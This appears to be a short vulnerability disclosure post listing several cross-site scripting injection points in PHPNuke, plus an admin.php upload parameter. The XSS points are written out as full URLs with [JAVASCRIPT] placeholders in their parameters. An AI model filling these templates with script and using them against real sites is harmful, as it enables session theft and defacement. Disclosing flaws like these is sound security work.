Here a few holes that i've found in PHPNuke. 5 Cross Site Scripting. http://phpnuke.org/modules.php? name=Downloads&d_op=viewdownloaddetails&lid=0 2&ttitle=[JAVASCRIPT] http://phpnuke.org/modules.php? name=Downloads&d_op=ratedownload&lid=118&ttitle =[JAVASCRIPT] http://phpnuke.org/modules.php? op=modload&name=Members_List&file=index&letter =[JAVASCRIPT] http://phpnuke.org/submit.php?subject= [JAVASCRIPT]&story=[JAVASCRIPT]&storyext= [JAVASCRIPT]&op=Preview http://phpnuke.org/user.php?op=userinfo&uname= [JAVASCRIPT] ==> This hole was not found by Aurelien Cabezon. and /admin.php?upload=Go! who's the same that upload=1 . frog-man
